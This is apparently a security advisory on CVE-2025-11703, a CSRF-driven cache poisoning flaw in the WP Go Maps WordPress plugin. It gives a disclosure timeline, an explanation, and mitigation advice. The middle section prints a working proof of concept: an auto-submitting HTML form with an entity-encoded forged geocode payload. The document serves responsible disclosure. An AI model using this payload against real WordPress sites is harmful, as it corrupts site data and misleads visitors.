WP Go Maps is a widely used mapping plugin for WordPress (300k+ installs). CVE-2025-11703 is a server-side cache poisoning flaw in the action=wpgmza_store_nominatim_cache admin-AJAX handler. Instead of performing a trusted server-side geocoding request and caching the authoritative result, the handler accepts two attacker-controlled parameters, query and response, and blindly stores the supplied response JSON as the cached geocode for the specified query. Because the endpoint does not enforce a CSRF nonce and relies only on browser cookies, an attacker can coerce a logged-in privileged user into sending a forged POST that writes arbitrary coordinates, names, and metadata into the plugin’s geocoding cache. Subsequent map lookups for that address will use the poisoned cache entry, leading to persistent integrity corruption in map data visible to all visitors.

CVECVE-2025-11703
Plugin VersionWP Go Maps (formerly WP Google Maps) <= 9.0.48
CriticalHigh
All Time25 923 341
Active installations300 000+
Publicly PublishedOctober 9, 2025
Last UpdatedOctober 9, 2025
ResearcherDmitrii Ignatyev
PoCYes
ExploitNo
Reference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11703
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-maps/wp-go-maps-formerly-wp-google-maps-9048-unauthenticated-cache-poisoning
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

September 12, 2025Plugin testing and vulnerability detection in the WP Go Maps (formerly WP Google Maps) have been completed
September 12, 2025I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
October 22, 2025Registered CVE-2025-11703

Discovery of the Vulnerability

The issue was identified during a focused review of the plugin’s AJAX surface and its integration with the Nominatim/OpenStreetMap geocoding workflow. While mapping wp_ajax_* actions, the wpgmza_store_nominatim_cache handler stood out because it accepted a response parameter from the client side. Manual analysis of the PHP code confirmed that the handler did not re-query the geocoding service but instead trusted and stored whatever JSON was supplied in response as the cache entry for the corresponding query. Further testing with a minimal HTML form showed that a POST to /wp-admin/admin-ajax.php with action=wpgmza_store_nominatim_cache, a crafted query for “1612 Amphitheatre Parkway”, and a forged responsepayload containing coordinates for Astana was accepted and persisted. Access to the endpoint depended only on the presence of valid WordPress cookies; there was no CSRF nonce verification and no validation of the supplied geocode data.

Understanding of Missing Auth attack’s

In this context, the “missing auth” problem is twofold: the endpoint does not verify the origin of the request via a CSRF token, and it treats client-supplied “response” data as if it were a trusted output from the upstream geocoding provider. In a secure design, only the server should talk to the geocoding API, and cached entries should always reflect server-initiated lookups, never arbitrary client input. Here, any browser session with appropriate cookies can drive wpgmza_store_nominatim_cache, and the plugin has no way to distinguish a legitimate geocode result from a forged one. This trust-of-client combines with the missing CSRF layer to create a classic server-side cache poisoning vector: an attacker does not need API keys or direct access to the Nominatim provider, only the ability to cause a privileged user’s browser to send a crafted POST.

Exploiting the Missing Auth Vulnerability

To exploit CVE-2025-11703, an attacker without cookies:

POC:

<html>

  <body>

    <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST">

      <input type="hidden" name="action" value="wpgmza&#95;store&#95;nominatim&#95;cache" />

      <input type="hidden" name="query" value="&#123;&quot;location&quot;&#58;&quot;1612&#32;Amphitheatre&#32;Parkway&quot;&#44;&quot;options&quot;&#58;&#123;&quot;address&quot;&#58;&quot;1612&#32;Amphitheatre&#32;Parkway&quot;&#125;&#125;" />

      <input type="hidden" name="response" value="&#91;&#123;&quot;place&#95;id&quot;&#58;360259564&#44;&quot;licence&quot;&#58;&quot;Data&#32;Â&#169;&#32;OpenStreetMap&#32;contributors&#44;&#32;ODbL&#32;1&#46;0&#46;&quot;&#44;&quot;osm&#95;type&quot;&#58;&quot;node&quot;&#44;&quot;osm&#95;id&quot;&#58;1&#44;&quot;class&quot;&#58;&quot;place&quot;&#44;&quot;type&quot;&#58;&quot;house&quot;&#44;&quot;place&#95;rank&quot;&#58;30&#44;&quot;importance&quot;&#58;0&#46;0001&#44;&quot;addresstype&quot;&#58;&quot;building&quot;&#44;&quot;name&quot;&#58;&quot;Injected&#32;to&#32;Astana&quot;&#44;&quot;display&#95;name&quot;&#58;&quot;Injected&#32;to&#32;Astana&#44;&#32;1600&#32;Amphitheatre&#32;Parkway&quot;&#44;&quot;lat&quot;&#58;&quot;51&#46;1694&quot;&#44;&quot;lon&quot;&#58;&quot;71&#46;4491&quot;&#44;&quot;lng&quot;&#58;&quot;71&#46;4491&quot;&#44;&quot;boundingbox&quot;&#58;&#91;&quot;51&#46;1690&quot;&#44;&quot;51&#46;1698&quot;&#44;&quot;71&#46;4487&quot;&#44;&quot;71&#46;4495&quot;&#93;&#44;&quot;geometry&quot;&#58;&#123;&quot;location&quot;&#58;&#123;&quot;&#95;lat&quot;&#58;51&#46;1694&#44;&quot;&#95;lng&quot;&#58;71&#46;4491&#125;&#125;&#44;&quot;latLng&quot;&#58;&#123;&quot;lat&quot;&#58;51&#46;1694&#44;&quot;lng&quot;&#58;71&#46;4491&#125;&#44;&quot;bounds&quot;&#58;&#123;&quot;south&quot;&#58;51&#46;1690&#44;&quot;north&quot;&#58;51&#46;1698&#44;&quot;west&quot;&#58;71&#46;4487&#44;&quot;east&quot;&#58;71&#46;4495&#125;&#125;&#93;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      history.pushState('', '', '/');

      document.forms[0].submit();

    </script>

  </body>

</html>

____

Exploitation is straightforward and fully drive-by. The attacker prepares a simple HTML page that auto-submits a form to /wp-admin/admin-ajax.php. The form sets action=wpgmza_store_nominatim_cache, provides a query JSON describing the target address (for example, {"location":"1612 Amphitheatre Parkway","options":{"address":"1612 Amphitheatre Parkway"}}), and includes a forged response array with attacker-chosen display_name, latitude/longitude, and other metadata pointing to a different location (e.g., Astana). When a logged-in administrator (or any role allowed to reach this AJAX action) visits the attacker page, their browser automatically submits the POST with valid WordPress cookies. The plugin accepts the payload, skips any upstream validation, and stores the attacker’s response as the cached geocode. Later, when the site renders maps or performs lookups for that address, the plugin reads from its cache and returns the injected display_name and coordinates instead of the real data, misrouting users and corrupting map output for all visitors, including unauthenticated ones.

Recommendations for Improved Security

To mitigate this vulnerability, the wpgmza_store_nominatim_cache handler should never trust client-supplied responsedata. The server must perform its own geocoding calls and only cache responses obtained from the upstream provider, ignoring or removing any ability for the client to submit arbitrary geocode JSON. The handler should also enforce standard WordPress CSRF protection (check_ajax_referer) and ensure that only authorized users with appropriate capabilities can trigger cache writes. Additionally, cache keys and values should be validated and normalized server-side to prevent malformed or unexpected payloads from being persisted. Finally, the vendor should review other AJAX and REST routes for similar patterns where client input is treated as authoritative backend data, and add logging or monitoring around cache writes so that abnormal geocoding changes can be detected and investigated quickly.

By taking proactive measures to address Missing Auth vulnerabilities like CVE-2025-11703 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #MissingAuth #WebsiteSafety #StayProtected #HighVulnerability

Use CleanTalk solutions to improve the security of your website

Dmitrii I.
CVE-2025-11703 – WP Go Maps (formerly WP Google Maps) – Unauthenticated Cache Poisoning – POC

Leave a Reply

Your email address will not be published. Required fields are marked *